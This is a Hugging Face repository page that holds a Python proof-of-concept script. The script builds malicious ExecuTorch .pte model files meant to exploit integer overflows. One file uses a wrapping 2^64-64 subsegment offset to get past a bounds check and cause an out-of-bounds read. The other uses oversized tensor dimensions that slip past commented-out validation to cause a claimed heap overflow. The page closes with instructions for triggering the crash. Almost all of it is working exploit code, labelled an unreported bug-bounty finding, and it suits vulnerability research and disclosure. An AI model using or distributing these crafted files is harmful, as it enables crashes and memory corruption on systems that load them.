Team Ai
Modelpublic

mscgo77/executorch-integer-overflow

sourceHugging Faceupdated 6mo agoView on Hugging Face
0likes15downloads
poc_build_malicious_pte.py277 linesDownload Raw Back to root
1#!/usr/bin/env python32"""3ExecuTorch .pte Integer Overflow PoC — Builds malicious .pte and triggers crash4 5CVE: NEW (unreported)6CWE-190: Integer Overflow or Wraparound7Affected: ExecuTorch (all versions using runtime/executor/program.cpp)8 9Vulnerability 1: program.cpp:59210  offset (uint64 from flatbuffer) + size (size_t) overflows, bypassing bounds check.11 12Vulnerability 2: program_validation.cpp:48-7913  Integer overflow checks for tensor numel are COMMENTED OUT.14"""15 16import struct17import sys18import os19 20sys.path.insert(0, os.path.join(os.path.dirname(__file__), "gen"))21 22import flatbuffers23from flatbuffers import builder as fb_builder24from executorch_flatbuffer import (25    Program, ExecutionPlan, DataSegment, SubsegmentOffsets,26    Tensor, EValue, KernelTypes, Operator, Chain, Instruction,27    Buffer, AllocationDetails, ExtraTensorInfo,28)29from executorch_flatbuffer import ScalarType as ST30 31SEGMENT_DATA_SIZE = 256  # Small segment32 33def build_overflow_pte(output_path):34    """Build .pte with integer overflow in SubsegmentOffsets."""35    b = fb_builder.Builder(4096)36 37    # Overflow offset: when added to tensor nbytes (e.g. 64),38    # wraps around to <= segment size39    TENSOR_NBYTES = 64  # 4x4 float3240    OVERFLOW_OFFSET = (1 << 64) - TENSOR_NBYTES  # + 64 = 2^64 = wraps to 041 42    # --- SubsegmentOffsets for mutable_data_segments ---43    SubsegmentOffsets.SubsegmentOffsetsStartOffsetsVector(b, 2)44    b.PrependUint64(OVERFLOW_OFFSET)  # index 1: MALICIOUS offset45    b.PrependUint64(0)                # index 0: reserved46    offsets_vec = b.EndVector()47 48    SubsegmentOffsets.SubsegmentOffsetsStart(b)49    SubsegmentOffsets.SubsegmentOffsetsAddSegmentIndex(b, 0)50    SubsegmentOffsets.SubsegmentOffsetsAddOffsets(b, offsets_vec)51    mutable_seg = SubsegmentOffsets.SubsegmentOffsetsEnd(b)52 53    # mutable_data_segments vector54    Program.ProgramStartMutableDataSegmentsVector(b, 1)55    b.PrependUOffsetTRelative(mutable_seg)56    mutable_segs_vec = b.EndVector()57 58    # --- DataSegment ---59    DataSegment.DataSegmentStart(b)60    DataSegment.DataSegmentAddOffset(b, 0)61    DataSegment.DataSegmentAddSize(b, SEGMENT_DATA_SIZE)62    segment = DataSegment.DataSegmentEnd(b)63 64    Program.ProgramStartSegmentsVector(b, 1)65    b.PrependUOffsetTRelative(segment)66    segments_vec = b.EndVector()67 68    # --- Tensor with mutable data pointing to overflow offset ---69    # sizes = [4, 4], scalar_type = FLOAT (6), data_buffer_idx = 170    Tensor.TensorStartSizesVector(b, 2)71    b.PrependInt32(4)72    b.PrependInt32(4)73    sizes_vec = b.EndVector()74 75    Tensor.TensorStartDimOrderVector(b, 2)76    b.PrependUint8(1)77    b.PrependUint8(0)78    dim_order_vec = b.EndVector()79 80    # AllocationDetails for mutable tensor81    AllocationDetails.AllocationDetailsStart(b)82    AllocationDetails.AllocationDetailsAddMemoryId(b, 1)83    AllocationDetails.AllocationDetailsAddMemoryOffsetLow(b, 0)84    alloc_info = AllocationDetails.AllocationDetailsEnd(b)85 86    Tensor.TensorStart(b)87    Tensor.TensorAddScalarType(b, 6)  # FLOAT88    Tensor.TensorAddStorageOffset(b, 0)89    Tensor.TensorAddSizes(b, sizes_vec)90    Tensor.TensorAddDimOrder(b, dim_order_vec)91    Tensor.TensorAddDataBufferIdx(b, 1)  # Points to mutable data92    Tensor.TensorAddAllocationInfo(b, alloc_info)93    tensor = Tensor.TensorEnd(b)94 95    # EValue wrapping the tensor96    EValue.EValueStart(b)97    EValue.EValueAddValType(b, KernelTypes.KernelTypes.Tensor)98    EValue.EValueAddVal(b, tensor)99    evalue = EValue.EValueEnd(b)100 101    ExecutionPlan.ExecutionPlanStartValuesVector(b, 1)102    b.PrependUOffsetTRelative(evalue)103    values_vec = b.EndVector()104 105    # Minimal ExecutionPlan106    plan_name = b.CreateString("forward")107    ExecutionPlan.ExecutionPlanStart(b)108    ExecutionPlan.ExecutionPlanAddName(b, plan_name)109    ExecutionPlan.ExecutionPlanAddValues(b, values_vec)110    plan = ExecutionPlan.ExecutionPlanEnd(b)111 112    Program.ProgramStartExecutionPlanVector(b, 1)113    b.PrependUOffsetTRelative(plan)114    plans_vec = b.EndVector()115 116    # --- Build Program ---117    Program.ProgramStart(b)118    Program.ProgramAddVersion(b, 0)119    Program.ProgramAddExecutionPlan(b, plans_vec)120    Program.ProgramAddSegments(b, segments_vec)121    Program.ProgramAddMutableDataSegments(b, mutable_segs_vec)122    program = Program.ProgramEnd(b)123 124    b.Finish(program, b"ET12")125    buf = bytes(b.Output())126 127    # Write .pte with extended header128    with open(output_path, 'wb') as f:129        f.write(buf)130 131        # Pad to 4096 alignment for segment132        padding = (4096 - len(buf) % 4096) % 4096133        f.write(b'\x00' * padding)134        segment_base = len(buf) + padding135 136        # Write segment data137        f.write(b'\x41' * SEGMENT_DATA_SIZE)138 139        # Extended header (appended at end)140        # Format: program_size(8) + segment_base_offset(8) + header_length(4) + magic(4)141        eh = struct.pack('<QQ', len(buf), segment_base)142        eh_with_header = struct.pack('<I', len(eh) + 8) + b'eh00' + eh143        # Actually ExecuTorch extended header is at the END of file:144        # Last 4 bytes: magic "eh00"145        # Before that: header_length (4 bytes)146        # Before that: program_size (8 bytes)147        # Before that: segment_base_offset (8 bytes)148        ext_header = struct.pack('<QQI', segment_base, len(buf), 24) + b'eh00'149        f.write(ext_header)150 151    file_size = os.path.getsize(output_path)152    print(f"[+] Malicious .pte created: {output_path} ({file_size} bytes)")153    print(f"[+] Flatbuffer size: {len(buf)} bytes")154    print(f"[+] Segment base offset: {segment_base}")155    print(f"[+] Overflow offset in SubsegmentOffsets: 0x{OVERFLOW_OFFSET:016X}")156    print(f"[+] When loading 64-byte tensor:")157    print(f"    offset=0x{OVERFLOW_OFFSET:016X} + size=64 = 0x{(OVERFLOW_OFFSET + 64) % (1 << 64):016X} (WRAPS TO 0)")158    print(f"    0 <= segment_size({SEGMENT_DATA_SIZE}) -> bounds check PASSES")159    print(f"    load_into() called with OOB offset -> CRASH / OOB READ")160 161    return output_path162 163 164def build_numel_overflow_pte(output_path):165    """Build .pte with tensor dimension overflow (commented-out checks)."""166    b = fb_builder.Builder(4096)167 168    # Tensor with dimensions that overflow when multiplied169    # sizes = [0x7FFFFFFF, 0x7FFFFFFF] -> numel overflows int32/int64170    # Since validate_tensor() overflow checks are commented out, this passes171 172    # DataSegment173    DataSegment.DataSegmentStart(b)174    DataSegment.DataSegmentAddOffset(b, 0)175    DataSegment.DataSegmentAddSize(b, 256)176    segment = DataSegment.DataSegmentEnd(b)177 178    Program.ProgramStartSegmentsVector(b, 1)179    b.PrependUOffsetTRelative(segment)180    segments_vec = b.EndVector()181 182    # Overflow tensor sizes183    Tensor.TensorStartSizesVector(b, 2)184    b.PrependInt32(0x7FFFFFFF)  # 2147483647185    b.PrependInt32(0x7FFFFFFF)  # 2147483647186    sizes_vec = b.EndVector()   # numel = 2147483647^2 = overflows!187 188    Tensor.TensorStartDimOrderVector(b, 2)189    b.PrependUint8(1)190    b.PrependUint8(0)191    dim_order_vec = b.EndVector()192 193    Tensor.TensorStart(b)194    Tensor.TensorAddScalarType(b, 6)  # FLOAT195    Tensor.TensorAddSizes(b, sizes_vec)196    Tensor.TensorAddDimOrder(b, dim_order_vec)197    Tensor.TensorAddDataBufferIdx(b, 0)198    tensor = Tensor.TensorEnd(b)199 200    EValue.EValueStart(b)201    EValue.EValueAddValType(b, KernelTypes.KernelTypes.Tensor)202    EValue.EValueAddVal(b, tensor)203    evalue = EValue.EValueEnd(b)204 205    ExecutionPlan.ExecutionPlanStartValuesVector(b, 1)206    b.PrependUOffsetTRelative(evalue)207    values_vec = b.EndVector()208 209    plan_name = b.CreateString("forward")210    ExecutionPlan.ExecutionPlanStart(b)211    ExecutionPlan.ExecutionPlanAddName(b, plan_name)212    ExecutionPlan.ExecutionPlanAddValues(b, values_vec)213    plan = ExecutionPlan.ExecutionPlanEnd(b)214 215    Program.ProgramStartExecutionPlanVector(b, 1)216    b.PrependUOffsetTRelative(plan)217    plans_vec = b.EndVector()218 219    Program.ProgramStart(b)220    Program.ProgramAddVersion(b, 0)221    Program.ProgramAddExecutionPlan(b, plans_vec)222    Program.ProgramAddSegments(b, segments_vec)223    program = Program.ProgramEnd(b)224 225    b.Finish(program, b"ET12")226    buf = bytes(b.Output())227 228    with open(output_path, 'wb') as f:229        f.write(buf)230        padding = (4096 - len(buf) % 4096) % 4096231        f.write(b'\x00' * padding)232        seg_base = len(buf) + padding233        f.write(b'\x42' * 256)234        ext_header = struct.pack('<QQI', seg_base, len(buf), 24) + b'eh00'235        f.write(ext_header)236 237    file_size = os.path.getsize(output_path)238    print(f"\n[+] Numel overflow .pte: {output_path} ({file_size} bytes)")239    print(f"[+] Tensor sizes: [2147483647, 2147483647]")240    print(f"[+] numel = 2147483647 * 2147483647 = {0x7FFFFFFF * 0x7FFFFFFF} (overflows int64!)")241    print(f"[+] validate_tensor() overflow check is COMMENTED OUT -> passes")242    print(f"[+] Allocates tiny buffer, copies huge data -> HEAP OVERFLOW")243 244 245if __name__ == "__main__":246    poc_dir = os.path.expanduser("~/bugbounty_results/executorch/poc")247 248    print("=" * 70)249    print("ExecuTorch Integer Overflow PoC Generator")250    print("=" * 70)251    print()252 253    # PoC 1: SubsegmentOffsets overflow254    pte1 = build_overflow_pte(os.path.join(poc_dir, "malicious_offset_overflow.pte"))255 256    # PoC 2: Tensor numel overflow257    pte2 = build_numel_overflow_pte(os.path.join(poc_dir, "malicious_numel_overflow.pte"))258 259    print()260    print("=" * 70)261    print("VERIFICATION")262    print("=" * 70)263    print()264    print("To verify the crash, load the .pte with ExecuTorch C++ runtime:")265    print()266    print("  #include <executorch/runtime/executor/program.h>")267    print("  auto program = Program::load(\"malicious_offset_overflow.pte\");")268    print("  auto method = program->load_method(\"forward\");")269    print("  // -> Triggers OOB read in load_mutable_subsegment_into()")270    print()271    print("Or with Python:")272    print()273    print("  from executorch.runtime import Runtime, Program")274    print("  program = Program('malicious_offset_overflow.pte')")275    print("  method = program.load_method('forward')")276    print("  // -> SIGSEGV or SIGBUS")277